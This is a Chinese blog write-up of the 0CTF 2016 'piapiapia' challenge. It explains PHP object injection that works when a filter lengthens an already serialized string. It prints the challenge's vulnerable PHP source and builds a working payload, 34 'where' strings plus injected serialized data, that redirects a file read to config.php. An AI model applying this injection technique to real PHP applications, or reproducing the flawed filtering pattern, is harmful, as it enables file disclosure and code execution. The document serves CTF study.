從一道ctf看php反序列化漏洞的應用場景

  • 2019 年 10 月 17 日
  • 筆記

0x00 first

前幾天joomla爆出個反序列化漏洞,原因是因為對序列化後的字符進行過濾,導致用戶可控字符溢出,從而控制序列化內容,配合對象注入導致RCE。剛好今天刷CTF題時遇到了一個類似的場景,感覺很有意思,故有本文。

0x01 我打我自己之—序列化問題

關於序列化是什麼就不再贅述了,這裡主要講幾個跟安全相關的幾個點。
看一個簡單的序列化

<?php      $kk = "123";      $kk_seri = serialize($kk); //s:3:"123";        echo unserialize($kk_seri); //123        $not_kk_seri = 's:4:"123""';        echo unserialize($not_kk_seri); //123"

從上例可以看到,序列化後的字符串以"作為分隔符,但是注入"並沒有導致後面的內容逃逸。這是因為反序列化時,反序列化引擎是根據長度來判斷的。

也正是因為這一點,如果程序在對序列化之後的字符串進行過濾轉義導致字符串內容變長/變短時,就會導致反序列化無法得到正常結果。看一個例子

<?php        $username = $_GET['username'];      $sign = "hi guys";      $user = array($username, $sign);        $seri = bad_str(serialize($user));        echo $seri;        // echo "<br>";        $user=unserialize($seri);        echo $user[0];      echo "<br>";      echo "<br>";      echo $user[1];          function bad_str($string){          return preg_replace('/'/', 'no', $string);      }

先對一個數組進行序列化,然後把結果傳入bad_str()函數中進行安全過濾,將單引號轉換成no,最後反序列化得到的結果並輸出。看一下正常的輸出:

用戶ka1n4t的個性簽名很友好。如果在用戶名處加上單引號,則會被程序轉義成no,由於長度錯誤導致反序列化時出錯。

那麼通過這個錯誤能幹啥呢?我們可以改寫可控處之後的所有字符,從而控制這個用戶的個性簽名。我們需要先把我們想注入的數據寫好,然後再考慮長度溢出的問題。比如我們把他的個性簽名改成no hi,長度為5,在本程序中序列化的結果應該是i:1;s:5:"no hi";,再跟前面的username的雙引號以及後面的結束花括號閉合,變成";i:1;s:5:"no hi";}。見下圖

我們要讓’經過bad_str()函數轉義成no之後多出來的長度剛好對齊到我們上面構造的payload。由於上面的payload長度是19,因此我們只要在payload前輸入19個’,經過bad_str()轉義後剛好多出了19個字符。

嘗試payload:ka1n4t”””””””””’";i:1;s:5:"no hi";}

成功注入序列化字符。前幾天的joomla rce原理也正是如此。下面通過一道CTF來看一下實戰場景。

0x02 [0CTF 2016] piapiapia

首頁一個登錄框,別的嘛都沒有

www.zip源碼泄露,可直接下載源碼。

flag在config.php中

class.php是mysql數據庫類,以及user model

<?php  require('config.php');    class user extends mysql{      private $table = 'users';        public function is_exists($username) {          $username = parent::filter($username);            $where = "username = '$username'";          return parent::select($this->table, $where);      }      public function register($username, $password) {          $username = parent::filter($username);          $password = parent::filter($password);            $key_list = Array('username', 'password');          $value_list = Array($username, md5($password));          return parent::insert($this->table, $key_list, $value_list);      }      public function login($username, $password) {          $username = parent::filter($username);          $password = parent::filter($password);            $where = "username = '$username'";          $object = parent::select($this->table, $where);          if ($object && $object->password === md5($password)) {              return true;          } else {              return false;          }      }      public function show_profile($username) {          $username = parent::filter($username);            $where = "username = '$username'";          $object = parent::select($this->table, $where);          return $object->profile;      }      public function update_profile($username, $new_profile) {          $username = parent::filter($username);          $new_profile = parent::filter($new_profile);            $where = "username = '$username'";          return parent::update($this->table, 'profile', $new_profile, $where);      }      public function __tostring() {          return __class__;      }  }    class mysql {      private $link = null;        public function connect($config) {          $this->link = mysql_connect(              $config['hostname'],              $config['username'],              $config['password']          );          mysql_select_db($config['database']);          mysql_query("SET sql_mode='strict_all_tables'");            return $this->link;      }        public function select($table, $where, $ret = '*') {          $sql = "SELECT $ret FROM $table WHERE $where";          $result = mysql_query($sql, $this->link);          return mysql_fetch_object($result);      }        public function insert($table, $key_list, $value_list) {          $key = implode(',', $key_list);          $value = ''' . implode('','', $value_list) . ''';          $sql = "INSERT INTO $table ($key) VALUES ($value)";          return mysql_query($sql);      }        public function update($table, $key, $value, $where) {          $sql = "UPDATE $table SET $key = '$value' WHERE $where";          return mysql_query($sql);      }        public function filter($string) {          $escape = array(''', '\\');          $escape = '/' . implode('|', $escape) . '/';          $string = preg_replace($escape, '_', $string);            $safe = array('select', 'insert', 'update', 'delete', 'where');          $safe = '/' . implode('|', $safe) . '/i';          return preg_replace($safe, 'hacker', $string);      }      public function __tostring() {          return __class__;      }  }  session_start();  $user = new user();  $user->connect($config);  

profile.php用於展示個人信息

profile.php    <?php      require_once('class.php');      if($_SESSION['username'] == null) {          die('Login First');      }      $username = $_SESSION['username'];      $profile=$user->show_profile($username);      if($profile  == null) {          header('Location: update.php');      }      else {          $profile = unserialize($profile);          $phone = $profile['phone'];          $email = $profile['email'];          $nickname = $profile['nickname'];          $photo = base64_encode(file_get_contents($profile['photo']));  ?>

register.php用於註冊用戶

register.php    <?php      require_once('class.php');      if($_POST['username'] && $_POST['password']) {          $username = $_POST['username'];          $password = $_POST['password'];            if(strlen($username) < 3 or strlen($username) > 16)              die('Invalid user name');            if(strlen($password) < 3 or strlen($password) > 16)              die('Invalid password');          if(!$user->is_exists($username)) {              $user->register($username, $password);              echo 'Register OK!<a href="index.php">Please Login</a>';          }          else {              die('User name Already Exists');          }      }      else {  ?>

update.php用於更新用戶信息

update.php    <?php      require_once('class.php');      if($_SESSION['username'] == null) {          die('Login First');      }      if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {            $username = $_SESSION['username'];          if(!preg_match('/^d{11}$/', $_POST['phone']))              die('Invalid phone');            if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))              die('Invalid email');            if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)              die('Invalid nickname');            $file = $_FILES['photo'];          if($file['size'] < 5 or $file['size'] > 1000000)              die('Photo size error');            move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));          $profile['phone'] = $_POST['phone'];          $profile['email'] = $_POST['email'];          $profile['nickname'] = $_POST['nickname'];          $profile['photo'] = 'upload/' . md5($file['name']);            $user->update_profile($username, serialize($profile));          echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';      }      else {  ?>

通過觀察上面的幾個代碼我們能發現以下幾個線索
1.能讀取config.php或獲得參數$flag的值即可獲得flag。
2.update.php 28行將用戶更新信息序列化,然後傳入$user->update_profile()存入數據庫。
3.查看class.php中的update_profile()源碼,發現底層先調用了filter()方法進行危險字符過濾,然後才存入數據庫。
4.profile.php 16行取出用戶的$profile[‘photo’]作為文件名獲取文件內容並展示。
5.update.php 26行可以看到$profile[‘photo’]的值是’upload’.md5($file[‘name’]),因此線索4中的文件名我們並不可控。
綜合以上5點,再加上本文一開始的例子,思路基本已經出來了,程序將序列化之後的字符串進行過濾,導致用戶可控部分溢出,從而控制後半段的序列化字符,最終控制$profile[‘photo’]的值為config.php,即可獲得flag。

這裡關鍵就是class.php中的filter()方法,我們要找到能讓原始字符『膨脹』的轉義。

    public function filter($string) {          $escape = array(''', '\\');          $escape = '/' . implode('|', $escape) . '/';          $string = preg_replace($escape, '_', $string);            $safe = array('select', 'insert', 'update', 'delete', 'where');          $safe = '/' . implode('|', $safe) . '/i';          return preg_replace($safe, 'hacker', $string);      }

僅從長度變化來看,只有where->hacker這一個轉義是變長了的。回到update.php 28行,我們只要在nickname參數中輸入若干個where拼上payload,經過filter()過濾後剛好讓我們的payload溢出即可。

$profile['phone'] = $_POST['phone'];  $profile['email'] = $_POST['email'];  $profile['nickname'] = $_POST['nickname'];  $profile['photo'] = 'upload/' . md5($file['name']);    $user->update_profile($username, serialize($profile));

有一點需要注意的是update.php對nickname進行了過濾,不能有除_外的特殊字符,我們只要傳一個nickname[]數組即可。

下面構造payload,先看看正常的序列化表達式是什麼

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

構造photo值為config.php,並與前後閉合序列化表達式,也就是取出上面kk1之後的所有字符

";}s:5:"photo";s:10:"config.php";}

長度為34,由於filter()是將where變為hacker,增加1位,我們需要增加34位,也就是34個where。payload變成這樣

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

我們把這個作為nickname[]的值傳入,然後序列化的結果應該是

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

經過filter()的轉義變成

a:4:{s:5:"phone";s:11:"15112312123";s:5:"email";s:9:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"kk1hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/a5d5e995f1a8882cb459eba2102805cd";}

數一下位數,剛好。

下面發送payload作為nickname[]的值

更新成功,訪問profile.php查看個人信息

成功拿到flag。